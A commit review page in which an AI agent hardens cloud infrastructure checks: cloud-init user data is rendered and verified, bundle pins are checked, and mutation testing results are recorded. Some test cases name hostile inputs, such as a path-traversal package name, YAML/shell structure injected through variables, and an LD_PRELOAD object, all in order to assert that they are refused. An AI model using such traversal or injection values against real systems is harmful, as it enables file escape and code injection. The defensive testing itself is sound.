oficina / equipo Public

hosted: Task 29 review 2, plan-check renders host user data

Astra t29-r2. plan-check renders each committed cloud-init template from
the phase and pattern-checked root variables and requires the planned
user_data of the controller and both proxies to equal it exactly;
user_data_base64 must be unset. Assemble checks every pin (digests,
distinct plain package names) before fetching or writing, and keeps every
destination inside the bundle. Mutations re-run with CGO_ENABLED=0.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
claude agent, operated by paul@keymail.dev pushed by paul@keymail.dev 542acf39ce5dcd7f0879561ff612a3e19d9aecc7 parent 9ce9bd4
6 files changed, +577 −2
  • docs/superpowers/plans/HOSTED-SLICE2-PROGRESS.md +169 −2
  • infra/hosted/scripts/phases.json +64 −0
  • infra/hosted/scripts/plan-check.py +190 −0
  • infra/hosted/scripts/plan_check_test.py +87 −0
  • internal/hostedimage/assemble.go +29 −0
  • internal/hostedimage/assemble_test.go +38 −0

CI failed — run details

CI log
=== prepare ===
ci-box: machine: aarch64, 32 CPUs, 62 GiB memory, kernel 7.0.0-1017-aws
ci-box: python 3.12.3; Docker version 29.1.3, build 29.1.3-0ubuntu3~24.04.2
ci-box: user namespaces allowed: 233151
ci-box: cgroup: cgroup2fs
ci-box: disk /home/ci/work/repos/oficina__equipo/wt/hosted-runners-2: Type  Size Avail | ext4   96G   84G
ci-box: disk /home/ci/.cache/equipo-ci-box: Type  Size Avail | ext4   96G   84G
ci-box: bwrap: fetched and verified in 0.3s
ci-box: claude: fetched and verified in 2.2s
ci-box: codex: fetched and verified in 4.2s
ci-box: codex-code-mode-host: fetched and verified in 1.5s
ci-box: libwrap: fetched and verified in 0.3s
ci-box: socat: fetched and verified in 0.3s
ci-box: tofu: fetched and verified in 1.7s
npm warn deprecated node-domexception@1.0.0: Use your platform's native DOMException instead
ci-box: image pulled in 10.0s
ci-box: pi: installed and verified in 7.5s
ci-box: opencode: installed and verified in 2.4s
ci-box: chromium 156.0.8078.79-1~deb13u1: 76 packages fetched, verified and unpacked in 8.8s
ci-box: clone deepened in 4.9s
ci-box: file times set from content: 3995 files, 298 directories
ci-box: ready in 19.5s
=== copy ===
EQUIPO_RELEASE_COPY_CHECK=1 CGO_ENABLED=0 go test ./internal/equipotest -run '^TestReleaseCopyReviewed$' -count=1
--- FAIL: TestReleaseCopyReviewed (0.09s)
    task_pages_test.go:236: COPY REVIEW REQUIRED: copy-status.py verify found copy pending review or stale bookkeeping
FAIL
rastrillo-budget/v1 ran 88ms
FAIL	amadan.net/oficina/equipo/internal/equipotest	0.239s
FAIL
make: *** [Makefile:308: copy-release-check] Error 1

amadan: step copy failed: exit status 2

amadan: job failed at step copy — its output is above, not at the tail of this log
diff --git a/docs/superpowers/plans/HOSTED-SLICE2-PROGRESS.md b/docs/superpowers/plans/HOSTED-SLICE2-PROGRESS.md
index 2a9bdf08..fe56111f 100644
--- a/docs/superpowers/plans/HOSTED-SLICE2-PROGRESS.md
+++ b/docs/superpowers/plans/HOSTED-SLICE2-PROGRESS.md
@@ -2413,7 +2413,7 @@ RED (before each fix):
- `assemble_test.go:188: a served codex with another digest: stub`
- `assemble_test.go:249: repeated: OpenBundle accepted it`
- Two pieces of RED evidence are mutations instead of a stub run:
- - The command test `TestAssembleThenBuildFromBundle` and the tofu `user_data.tftest.hcl` were written after their code. Their RED is M24 and M26 to M29: each removes the wiring the test checks and watches the test fail.
+ - **Exception, for the controller to decide (tests written after code):** the command test `TestAssembleThenBuildFromBundle` and the tofu `user_data.tftest.hcl` were written after the code they test. They have no tests-first RED run. M24 and M26 to M29 show that each detects its wiring being removed. That is evidence the tests can fail, not tests-first evidence.
- The first stranger-bundle test let M22 survive: every case also failed for another reason. It was rewritten so each case is a valid bundle plus one stranger entry, and M22 then fails it.
GREEN:
@@ -2426,7 +2426,7 @@ GREEN:
- staticcheck on the four touched packages: clean. gitleaks on the new and changed files: no leaks.
- `scripts/release-hosted.sh --dry-run --out <mktemp -d>/out`: exit 0, with 10 assets and SHA256SUMS (`sha256sum -c` clean). Its Notes say why there is no IMAGE_DIGEST: the bwrap and codex URLs, the packages, GitSHA256 and the resolvers are not pinned yet. The directory was removed afterwards.
-Mutation driver. Build environment: `go version go1.26.10 linux/amd64`, the default Go caches, `CGO_ENABLED` unset, and tofu 1.12.5. The driver sets `AWS_CONFIG_FILE=/dev/null`, `AWS_SHARED_CREDENTIALS_FILE=/dev/null`, `AWS_EC2_METADATA_DISABLED=true` and `TF_PLUGIN_CACHE_DIR=~/.cache/tofu-plugins`, and unsets `AWS_PROFILE`. Run from the repository root:
+Mutation driver. Build environment for this round's runs: `go version go1.26.10 linux/amd64`, the default Go caches, and tofu 1.12.5. `CGO_ENABLED` was unset, which breaks the house rule; review round 2 below sets `CGO_ENABLED=0` in the driver and re-records all of them. The driver sets `AWS_CONFIG_FILE=/dev/null`, `AWS_SHARED_CREDENTIALS_FILE=/dev/null`, `AWS_EC2_METADATA_DISABLED=true` and `TF_PLUGIN_CACHE_DIR=~/.cache/tofu-plugins`, and unsets `AWS_PROFILE`. Run from the repository root:
`python3 -I mutate.py mutations.json`. The driver script, verbatim:
@@ -2630,3 +2630,170 @@ Each mutation's file, OLD, NEW (in mutations.json form; `\n` is a newline and `\
- NEW: ` condition = true || (can(regex("^https://[A-Za-z0-9./_-]+[A-Za-z0-9_-]$", var.release.url))`
- CMD: `tofu -chdir=infra/hosted/envs/prod/services init -backend=false -input=false -lockfile=readonly -no-color >/dev/null && tofu -chdir=infra/hosted/envs/prod/services test -no-color -filter=tests/user_data.tftest.hcl`
- Result: exit 1 | on tests/user_data.tftest.hcl line 203, in run "bad_release_refused": / run "bad_release_refused"... fail | restored, SHA-256 identical
+
+### Task 29 review round 2 (Astra t29-r2.md)
+
+This was the last review round for this task. Round 2 found every round-1 item addressed and raised two new gaps.
+
+- **1. The hosts' user data is proven by plan-check (controller ruling).**
+ - **The new pin.** phases.json pins `user_data` on the controller and both proxies, in both `services` and `dev-services`, as `{"cloud_init": {"template", "kind", "name", "name_prefix"}}`, and pins `user_data_base64` as `{"unset": true}`.
+ - **How it is checked.** plan-check's `check_cloud_init` reads the committed template from the checkout. It refuses any template path outside `infra/hosted/modules/*/cloud-init.yaml.tmpl`. It renders the template itself with the templatefile subset the templates use: `${name}`, `$${` and `%%{`. A directive, an unknown interpolation or an unused variable is refused.
+ - **Where the values come from.** The account and region are the phase's. Every root variable is held to a strict pattern first: release URL and digests, IDs, the connector ARN, key IDs and keys, the PEM shape of the CA certificates, IPv4 proxy addresses, images, and egress services (an exact host on 443). The mapping mirrors the modules and roots, encoded as OpenTofu's `jsonencode`.
+ - **What must match.** The planned `user_data` must equal the rendering exactly. An unknown, non-text or unprovable value is refused.
+ - **Fixtures.** The regenerated genuine fixtures match byte for byte.
+ - **Tests.** A new `UserData` class in `plan_check_test.py` has 9 tests:
+ - the genuine plans are proven, and every instance has both pins;
+ - each of these is refused: an extra `runcmd`, an extra `write_files` entry, the `sha256sum --check` removed, the two proxies' user data swapped, structure injected through `release.url`, an egress host or `vm_subnet_id` (refused before rendering, even when the plan's user data matches the naive rendering), a template outside the modules, `user_data_base64` set, and unknown user data.
+- **2. assemble.go checks every pin before fetching or writing anything.** `Pins.check` runs before the bundle directory is made. Every digest must be 64 lower-case hex digits. Every package must be a distinct plain `.rpm` file name, with no `/`, `\`, dot segment or leading dot. `place` also refuses any destination whose path relative to `inputs/` is not exactly the input name and local (`filepath.IsLocal`).
+ - The new `TestAssembleRefusesBadPackagesBeforeFetching` covers a climbing name, a separator, `..`, an absolute name, a repeat, a bad package digest and a bad Go digest. For each it asserts zero downloads, no bundle directory and nothing written beside it.
+ - In the first M35 run, with `Pins.check` disabled, the test reported the climbing case first, and the containment check alone refused that name (`"pkgs/../../../escaped.rpm" is not a path inside the bundle`).
+- **3. The driver sets `CGO_ENABLED=0`** and now also reports `AssertionError` and `ERROR:` lines. All 36 mutations were re-run and re-recorded under it. The round-1 record is corrected:
+ - It now says its runs had `CGO_ENABLED` unset.
+ - It marks the tests-after exception (`TestAssembleThenBuildFromBundle`, `user_data.tftest.hcl`) for the controller's decision, without calling the mutations tests-first evidence.
+
+RED, run before the fixes took effect:
+- **plan-check.** The new `UserData` tests and phases.json pins were run against the previous `plan-check.py`, using `git show HEAD:infra/hosted/scripts/plan-check.py` in place, then restored. Command: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`. Result: `FAILED (failures=4, errors=1)`.
+ - `test_extra_runcmd_refused`, `test_extra_write_files_entry_refused`, `test_digest_enforcement_altered_refused` and `test_proxies_swapped_refused` each failed with `AssertionError: [] is not true : the plan was accepted`.
+ - `test_structure_injected_through_a_variable_refused` errored, because the old checker has no renderer.
+ - Honesty note: the checker code had been written just before these tests. This RED run uses the previous checker, so it does show the tests failing without the fix.
+- **assemble.go.** `TestAssembleRefusesBadPackagesBeforeFetching` was run against the round-1 `assemble.go`, with `CGO_ENABLED=0 go test ./internal/hostedimage -run TestAssembleRefusesBadPackagesBeforeFetching -count=1`. It failed with `assemble_test.go:317: separator: 4 downloads before the refusal (... open .../bundle/inputs/pkgs/sub/escaped.rpm: no such file or directory)`. This test was written before the fix.
+
+GREEN:
+- `make hosted-infra-check hosted-image-check budget build vet`: exit 0.
+ - plan-check: 101 tests OK. Every root is valid; prod/services ran 9 tofu runs, all passing.
+ - hostedimage: `ok`.
+ - Budget: 141 directories.
+- `go test ./internal/hostedimage ./cmd/equipo-hosted-image ./cmd/equipo-hosted-controller -count=1`: all `ok`.
+- staticcheck `./internal/hostedimage`: clean.
+
+Mutation driver, as changed (`CGO_ENABLED=0`, and wider assertion matching). Run from the repository root with `python3 -I mutate.py mutations.json`:
+
+```python
+#!/usr/bin/env python3
+"""Task 29 mutation checks: python3 -I mutate.py mutations.json [ID ...]
+
+For each mutation: copy the file aside, replace OLD with NEW once (OLD
+must occur), run CMD from the repository root with the environment below,
+print the first failing assertion line and the command's exit status,
+restore the file from the copy, and check its SHA-256 is the original's.
+"""
+import hashlib, json, os, re, shutil, subprocess, sys, tempfile
+
+ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..", ".."))
+ENV = dict(os.environ)
+ENV.update({"CGO_ENABLED": "0", "AWS_CONFIG_FILE": "/dev/null", "AWS_SHARED_CREDENTIALS_FILE": "/dev/null", "AWS_EC2_METADATA_DISABLED": "true",
+ "TF_PLUGIN_CACHE_DIR": os.path.expanduser("~/.cache/tofu-plugins"), "TF_IN_AUTOMATION": "1"})
+ENV.pop("AWS_PROFILE", None)
+FAIL = [re.compile(p) for p in (r"\S+_test\.go:\d+:.*", r"on tests/\S+\.tftest\.hcl line \d+.*", r"run \"[^\"]+\"\.\.\. fail",
+ r"--- FAIL: .*", r"FAIL: .*", r"AssertionError: .*", r"ERROR: .*")]
+
+def sha(p):
+ return hashlib.sha256(open(p, "rb").read()).hexdigest()
+
+def main(argv):
+ muts = json.load(open(argv[0]))
+ only = set(argv[1:])
+ for m in muts:
+ if only and m["id"] not in only:
+ continue
+ path = os.path.join(ROOT, m["file"])
+ before = sha(path)
+ with tempfile.TemporaryDirectory() as d:
+ backup = os.path.join(d, "backup")
+ shutil.copy2(path, backup)
+ s = open(path).read()
+ if m["old"] not in s:
+ print("%s | NOT APPLIED: OLD not found in %s" % (m["id"], m["file"]))
+ continue
+ open(path, "w").write(s.replace(m["old"], m["new"], 1))
+ try:
+ r = subprocess.run(m["cmd"], shell=True, cwd=ROOT, env=ENV, capture_output=True, text=True, timeout=600)
+ out = r.stdout + r.stderr
+ hits = [h for h in (p.search(out) for p in FAIL) if h]
+ line = " / ".join(h.group(0).strip()[:200] for h in hits[:2]) if hits else "(no assertion line)"
+ status = r.returncode
+ finally:
+ shutil.copy2(backup, path)
+ restored = "restored, SHA-256 identical" if sha(path) == before else "NOT RESTORED"
+ print("%s | exit %s | %s | %s" % (m["id"], status, line, restored), flush=True)
+
+if __name__ == "__main__":
+ sys.exit(main(sys.argv[1:]))
+```
+
+New mutations, with OLD and NEW in mutations.json form:
+
+- **M30** `infra/hosted/scripts/plan-check.py`
+ - OLD: ` if value != want:`
+ - NEW: ` if False:`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_digest_enforcement_altered_refused (__main__.UserData.test_digest_enforcement_altered_refused) / AssertionError: [] is not true : the plan was accepted | restored, SHA-256 identical
+- **M31** `infra/hosted/scripts/plan-check.py`
+ - OLD: ` if not isinstance(release[k], str) or not re.fullmatch(pat, release[k]):`
+ - NEW: ` if False:`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_structure_injected_through_a_variable_refused (__main__.UserData.test_structure_injected_through_a_variable_refused) / AssertionError: UserDataError not raised : release.url | restored, SHA-256 identical
+- **M32** `infra/hosted/scripts/plan-check.py`
+ - OLD: ` or svc["port"] != 443 or not isinstance(svc["host"], str) or not (svc["host"] == "" or HOST_RE.fullmatch(svc["host"]))`
+ - NEW: ` or svc["port"] != 443 or not isinstance(svc["host"], str)`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_structure_injected_through_a_variable_refused (__main__.UserData.test_structure_injected_through_a_variable_refused) / AssertionError: UserDataError not raised : egress service | restored, SHA-256 identical
+- **M33** `infra/hosted/scripts/phases.json`
+ - OLD: `,\n "user_data_base64": {\n "unset": true\n }`
+ - NEW: `(removed)`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_genuine_user_data_proven (__main__.UserData.test_genuine_user_data_proven) / AssertionError: None != {'unset': True} : services module.controller.aws_instance.controller user_data_base64 is not refused | restored, SHA-256 identical
+- **M34** `infra/hosted/scripts/phases.json`
+ - OLD: ` "user_data": {\n "cloud_init": {\n "template": "modules/controller/cloud-init.yaml.tmpl",\n "kind": "controller",\n "name_prefix": "equipo-hosted"\n }\n },\n`
+ - NEW: `(removed)`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_digest_enforcement_altered_refused (__main__.UserData.test_digest_enforcement_altered_refused) / AssertionError: [] is not true : the plan was accepted | restored, SHA-256 identical
+- **M35** `internal/hostedimage/assemble.go`
+ - OLD: `if err := p.check(); err != nil {`
+ - NEW: `if err := p.check(); false && err != nil {`
+ - CMD: `go test ./internal/hostedimage -run '^TestAssembleRefusesBadPackagesBeforeFetching$' -count=1`
+ - Result: exit 1 | assemble_test.go:317: repeated: 4 downloads before the refusal (hostedimage: input pkgs/git-core-2.47.1-1.amzn2023.x86_64.rpm has SHA-256 e3d7a28a2d9eacd388106bb38690a17b50380681d7e41922898aed6b4b782a / --- FAIL: TestAssembleRefusesBadPackagesBeforeFetching (0.01s) | restored, SHA-256 identical
+- **M36** `infra/hosted/scripts/plan-check.py`
+ - OLD: ` if not rel.endswith("cloud-init.yaml.tmpl") or not path.startswith(os.path.join(p.hosted, "modules") + os.sep):`
+ - NEW: ` if False:`
+ - CMD: `python3 -I infra/hosted/scripts/plan_check_test.py UserData`
+ - Result: exit 1 | FAIL: test_template_outside_the_modules_refused (__main__.UserData.test_template_outside_the_modules_refused) / AssertionError: "not a module's cloud-init template" not found in "module.controller.aws_instance.controller user_data: cannot be proven: the template interpolates 'type.name.attr', which this checker | restored, SHA-256 identical
+
+Results of the full re-run of M1 to M36 under `CGO_ENABLED=0`. Every mutation failed its test (exit 1), and every file was restored with an identical SHA-256. M1 to M29's OLD, NEW and commands are as recorded in round 1.
+
+- M1: exit 1 | keygen_test.go:53: keygen -ed25519 wrote /home/paulca/.cache/tmp/TestKeygenWritesPrivate06002670638746/001/controller.key at mode -rw-r--r--, want -rw------- / --- FAIL: TestKeygenWritesPrivate0600 (0.01s) | restored, SHA-256 identical
+- M2: exit 1 | pin_test.go:111: pin put = key "pins/controller.spki", If-None-Match "", owner "149757027610"; want a conditional put of pins/controller.spki in 149757027610 / --- FAIL: TestPinWrittenOnce (0.02s) | restored, SHA-256 identical
+- M3: exit 1 | pin_test.go:132: a different pin = <nil>, want a refusal / --- FAIL: TestPinWrittenOnce (0.03s) | restored, SHA-256 identical
+- M4: exit 1 | watch_test.go:110: Heartbeat published after a failed reaper pass / --- FAIL: TestHeartbeatOnlyAfterCleanPass (0.09s) | restored, SHA-256 identical
+- M5: exit 1 | watch_test.go:123: Heartbeat published 2m1s after the last clean pass / --- FAIL: TestHeartbeatOnlyAfterCleanPass (0.10s) | restored, SHA-256 identical
+- M6: exit 1 | healthz_test.go:38: metrics /healthz = 404 "404 page not found\n", want 200 ok / --- FAIL: TestHealthzOnMetricsOnly (0.05s) | restored, SHA-256 identical
+- M7: exit 1 | cloudinit_test.go:596: operators.json's key is not an operator verify key: map[inst-1:{Public:[138 136 227 221 116 9 241 149 253 82 219 45 60 186 93 114 202 103 9 191 29 148 18 27 243 116 136 1 180 15 / --- FAIL: TestControllerReadsManifest (0.11s) | restored, SHA-256 identical
+- M8: exit 1 | cloudinit_test.go:418: controller mismatch: install succeeded or said nothing of the digest: / --- FAIL: TestCloudInitChecksDigest (0.13s) | restored, SHA-256 identical
+- M9: exit 1 | cloudinit_test.go:431: install with a private key absent succeeded or did not name it: / --- FAIL: TestCloudInitChecksDigest (0.31s) | restored, SHA-256 identical
+- M10: exit 1 | cloudinit_test.go:499: ExecStartPre = ["/usr/local/bin/litestream restore -config /etc/equipo-hosted/litestream.yml -if-replica-exists -if-db-not-exists /var/lib/equipo-hosted/db/controller.db"], want / --- FAIL: TestRestoreBeforeStart (0.03s) | restored, SHA-256 identical
+- M11: exit 1 | cloudinit_test.go:504: the second ExecStartPre is "/usr/local/bin/litestream restore -config /etc/equipo-hosted/litestream.yml -if-db-not-exists /var/lib/equipo-hosted/db/controller.db"; want litestre / --- FAIL: TestRestoreBeforeStart (0.03s) | restored, SHA-256 identical
+- M12: exit 1 | cloudinit_test.go:617: fetch-config took an env object with LD_PRELOAD: / --- FAIL: TestControllerReadsManifest (0.22s) | restored, SHA-256 identical
+- M13: exit 1 | cloudinit_test.go:623: fetch-config defaulted an object it could not reach: / --- FAIL: TestControllerReadsManifest (0.47s) | restored, SHA-256 identical
+- M14: exit 1 | cloudinit_test.go:706: fetch-proxy did not wait for controller.json: / --- FAIL: TestCloudInitProxyWaitsForControllerJSON (0.05s) | restored, SHA-256 identical
+- M15: exit 1 | cloudinit_test.go:750: fetch-proxy took controller.json with a pin that is not hex: / --- FAIL: TestCloudInitProxyWaitsForControllerJSON (0.46s) | restored, SHA-256 identical
+- M16: exit 1 | cloudinit_test.go:457: proxy install with its intercept key absent succeeded or enabled the unit: / --- FAIL: TestCloudInitChecksDigest (1.35s) | restored, SHA-256 identical
+- M17: exit 1 | pin_test.go:116: ensureTLS: TLS: /home/paulca/.cache/tmp/TestPinWrittenOnce1848881415/001/tls.crt and /home/paulca/.cache/tmp/TestPinWrittenOnce1848881415/001/tls.key must both exist or neither (cert: / --- FAIL: TestPinWrittenOnce (0.02s) | restored, SHA-256 identical
+- M18: exit 1 | watch_test.go:140: Heartbeat published after a pass whose List was incomplete / --- FAIL: TestHeartbeatOnlyAfterCleanPass (0.07s) | restored, SHA-256 identical
+- M19: exit 1 | watch_test.go:302: restart 0, minute 0 of an outage: LitestreamLag 0, which does not breach the alarm / --- FAIL: TestHeartbeatLitestreamRestartDuringOutage (0.05s) | restored, SHA-256 identical
+- M20: exit 1 | assemble_test.go:154: no git digest: Assemble = hostedimage: pins.json: GitSHA256's digest "" is not 64 lower-case hex digits, want the pins refused as incomplete / --- FAIL: TestAssembleRefusesIncompletePins (0.00s) | restored, SHA-256 identical
+- M21: exit 1 | assemble_test.go:189: a served codex with another digest: <nil> / --- FAIL: TestAssembleChecksEveryInput (0.02s) | restored, SHA-256 identical
+- M22: exit 1 | assemble_test.go:280: climbing: OpenBundle accepted it / --- FAIL: TestOpenBundleRefusesStrangers (0.01s) | restored, SHA-256 identical
+- M23: exit 1 | assemble_test.go:213: pins.json's codex differing from the manifest's was accepted / --- FAIL: TestAssembleChecksEveryInput (0.01s) | restored, SHA-256 identical
+- M24: exit 1 | main_test.go:331: image-manifest.json is not the manifest in the bundle the image was built from / --- FAIL: TestAssembleThenBuildFromBundle (0.03s) | restored, SHA-256 identical
+- M25: exit 1 | assemble_test.go:129: the image rebuilt from the bundle is sha256:3e89dc6b5e032d956c52bea326fbbf4e345102ae499880139d5c6c71cafa784c, the release's sha256:771ad9d0be46f3c5ac78190ee8587897a25b829b9e1c375 / --- FAIL: TestAssembleCompleteImagePath (0.04s) | restored, SHA-256 identical
+- M26: exit 1 | on tests/user_data.tftest.hcl line 146, in run "controller_instances": / run "controller_instances"... fail | restored, SHA-256 identical
+- M27: exit 1 | on tests/user_data.tftest.hcl line 171, in run "proxy_instances": / run "proxy_instances"... fail | restored, SHA-256 identical
+- M28: exit 1 | on tests/user_data.tftest.hcl line 60, in run "rendered": / run "rendered"... fail | restored, SHA-256 identical
+- M29: exit 1 | on tests/user_data.tftest.hcl line 203, in run "bad_release_refused": / run "bad_release_refused"... fail | restored, SHA-256 identical
+- M30: exit 1 | FAIL: test_digest_enforcement_altered_refused (__main__.UserData.test_digest_enforcement_altered_refused) / AssertionError: [] is not true : the plan was accepted | restored, SHA-256 identical
+- M31: exit 1 | FAIL: test_structure_injected_through_a_variable_refused (__main__.UserData.test_structure_injected_through_a_variable_refused) / AssertionError: UserDataError not raised : release.url | restored, SHA-256 identical
+- M32: exit 1 | FAIL: test_structure_injected_through_a_variable_refused (__main__.UserData.test_structure_injected_through_a_variable_refused) / AssertionError: UserDataError not raised : egress service | restored, SHA-256 identical
+- M33: exit 1 | FAIL: test_genuine_user_data_proven (__main__.UserData.test_genuine_user_data_proven) / AssertionError: None != {'unset': True} : services module.controller.aws_instance.controller user_data_base64 is not refused | restored, SHA-256 identical
+- M34: exit 1 | FAIL: test_digest_enforcement_altered_refused (__main__.UserData.test_digest_enforcement_altered_refused) / AssertionError: [] is not true : the plan was accepted | restored, SHA-256 identical
+- M35: exit 1 | assemble_test.go:317: repeated: 4 downloads before the refusal (hostedimage: input pkgs/git-core-2.47.1-1.amzn2023.x86_64.rpm has SHA-256 e3d7a28a2d9eacd388106bb38690a17b50380681d7e41922898aed6b4b782a / --- FAIL: TestAssembleRefusesBadPackagesBeforeFetching (0.01s) | restored, SHA-256 identical
+- M36: exit 1 | FAIL: test_template_outside_the_modules_refused (__main__.UserData.test_template_outside_the_modules_refused) / AssertionError: "not a module's cloud-init template" not found in "module.controller.aws_instance.controller user_data: cannot be proven: the template interpolates 'type.name.attr', which this checker | restored, SHA-256 identical
diff --git a/infra/hosted/scripts/phases.json b/infra/hosted/scripts/phases.json
index 88596afd..ee59f795 100644
--- a/infra/hosted/scripts/phases.json
+++ b/infra/hosted/scripts/phases.json
@@ -1858,6 +1858,16 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/controller/cloud-init.yaml.tmpl",
+ "kind": "controller",
+ "name_prefix": "equipo-hosted"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
@@ -2119,6 +2129,17 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/proxy/cloud-init.yaml.tmpl",
+ "kind": "proxy",
+ "name": "a",
+ "name_prefix": "equipo-hosted"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
@@ -2225,6 +2246,17 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/proxy/cloud-init.yaml.tmpl",
+ "kind": "proxy",
+ "name": "b",
+ "name_prefix": "equipo-hosted"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
@@ -4495,6 +4527,16 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/controller/cloud-init.yaml.tmpl",
+ "kind": "controller",
+ "name_prefix": "equipo-hosted-dev"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
@@ -4756,6 +4798,17 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/proxy/cloud-init.yaml.tmpl",
+ "kind": "proxy",
+ "name": "a",
+ "name_prefix": "equipo-hosted-dev"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
@@ -4862,6 +4915,17 @@
},
"secondary_private_ips": {
"unset": true
+ },
+ "user_data": {
+ "cloud_init": {
+ "template": "modules/proxy/cloud-init.yaml.tmpl",
+ "kind": "proxy",
+ "name": "b",
+ "name_prefix": "equipo-hosted-dev"
+ }
+ },
+ "user_data_base64": {
+ "unset": true
}
}
},
diff --git a/infra/hosted/scripts/plan-check.py b/infra/hosted/scripts/plan-check.py
index 43e957e3..2da72820 100644
--- a/infra/hosted/scripts/plan-check.py
+++ b/infra/hosted/scripts/plan-check.py
@@ -53,12 +53,20 @@ Pin rules in phases.json, per attribute path ("block.0.attr"):
"unknown_refs" left as ${type.name.attr}, is the
pinned document
{"length": N} a known list of N elements
+ {"cloud_init": {...}} known, and exactly the committed cloud-init template
+ ("template", under infra/hosted) rendered by this
+ checker for "kind" controller or proxy ("name" a or
+ b) and "name_prefix", from the phase's account and
+ region and the plan's root variables, each checked
+ against a strict pattern first (render_cloud_init)
Strings in pins may say ${var.NAME} or ${var.NAME:unqualified}, replaced by
the root variable's planned value (":unqualified" drops a trailing ":<n>").
Stdlib only; run with python3 -I.
"""
import argparse
+import base64
+import ipaddress
import json
import os
import re
@@ -935,6 +943,7 @@ def check(plan, phase_name, account, region, phases, hosted=None):
if plan.get("errored"):
out.append("the plan errored")
p = Plan(plan, hosted or HOSTED, ph.get("root"))
+ p.account, p.region, p.hosted = account, region, hosted or HOSTED
if p.source is not None:
# Before anything is proven: every input of the root and its modules
# is one this reader handles, or nothing from that source is trusted.
@@ -1076,6 +1085,185 @@ def check_destroy(p, listed):
return out
+# ---- Host user data -----------------------------------------------------------
+#
+# The hosts' cloud-init runs as root with the host's role, so its planned
+# value must be exactly the committed template, rendered here from validated
+# values: plan-check does not take the plan's word for it. Only the
+# templatefile subset the templates use is rendered (${name}, $${ and %%{);
+# every value is held to a strict pattern before it is substituted, so no
+# variable can add YAML or shell structure. The mapping from root variables
+# to template variables mirrors modules/{controller,proxy}/main.tf and the
+# services roots; any drift there makes the plan differ, and it is refused.
+
+TEMPLATE_NAME_RE = re.compile(r"[a-z][a-z0-9_]*")
+SHA_RE = re.compile(r"[0-9a-f]{64}")
+PUB_RE = re.compile(r"[A-Za-z0-9+/]{43}=")
+CERT_RE = re.compile(r"-----BEGIN CERTIFICATE-----\n(?:[A-Za-z0-9+/=]{1,76}\n)+-----END CERTIFICATE-----\n?")
+HOST_RE = re.compile(r"(?:[a-z0-9-]+\.)+[a-z]{2,}")
+
+
+class UserDataError(Exception):
+ pass
+
+
+def render_template(text, values):
+ out, used, i = [], set(), 0
+ while i < len(text):
+ if text.startswith("$${", i):
+ out.append("${")
+ i += 3
+ elif text.startswith("%%{", i):
+ out.append("%{")
+ i += 3
+ elif text.startswith("%{", i):
+ raise UserDataError("the template has a directive at byte %d" % i)
+ elif text.startswith("${", i):
+ end = text.find("}", i)
+ name = text[i + 2:end] if end > 0 else ""
+ if not TEMPLATE_NAME_RE.fullmatch(name) or name not in values:
+ raise UserDataError("the template interpolates %r, which this checker does not render" % name)
+ used.add(name)
+ out.append(values[name])
+ i = end + 1
+ else:
+ out.append(text[i])
+ i += 1
+ if set(values) - used:
+ raise UserDataError("the template does not use %s" % ", ".join(sorted(set(values) - used)))
+ return "".join(out)
+
+
+def jsonencode(v):
+ """OpenTofu's jsonencode for the ASCII values checked here."""
+ return json.dumps(v, sort_keys=True, separators=(",", ":"), ensure_ascii=True)
+
+
+def user_data_values(p, spec):
+ """The template variables for spec, from validated root variables."""
+ acct, region, prefix = p.account, p.region, spec.get("name_prefix")
+ if prefix not in ("equipo-hosted", "equipo-hosted-dev"):
+ raise UserDataError("the pin's name_prefix %r is not a stack's" % prefix)
+ var = p.variables
+
+ def need(name, pattern=None, kind=str):
+ v = var.get(name, MISSING)
+ if v is MISSING or not isinstance(v, kind):
+ raise UserDataError("root variable %s is missing or not a %s" % (name, kind.__name__))
+ if pattern is not None and not re.fullmatch(pattern, v):
+ raise UserDataError("root variable %s %r does not match %s" % (name, v, pattern))
+ return v
+
+ def obj(name, keys):
+ v = need(name, kind=dict)
+ if set(v) != set(keys):
+ raise UserDataError("root variable %s has keys %s, want %s" % (name, sorted(v), sorted(keys)))
+ return v
+
+ release = obj("release", ["url", "controller_sha256", "proxy_sha256", "litestream_asset", "litestream_sha256"])
+ checks = {"url": r"https://[A-Za-z0-9./_-]+[A-Za-z0-9_-]", "controller_sha256": SHA_RE.pattern,
+ "proxy_sha256": SHA_RE.pattern, "litestream_sha256": SHA_RE.pattern,
+ "litestream_asset": r"litestream-[0-9A-Za-z._-]+-linux-arm64\.tar\.gz"}
+ for k, pat in checks.items():
+ if not isinstance(release[k], str) or not re.fullmatch(pat, release[k]):
+ raise UserDataError("release.%s %r does not match %s" % (k, release[k], pat))
+ for c in ("client_ca_cert",) + (("intercept_ca_cert",) if spec.get("kind") == "proxy" else ()):
+ need(c, CERT_RE.pattern)
+ ips = {n: need("proxy_%s_ip" % n) for n in ("a", "b")}
+ for n, ip in ips.items():
+ try:
+ if not isinstance(ipaddress.ip_address(ip), ipaddress.IPv4Address) or str(ipaddress.ip_address(ip)) != ip:
+ raise ValueError
+ except ValueError:
+ raise UserDataError("root variable proxy_%s_ip %r is not one IPv4 address" % (n, ip))
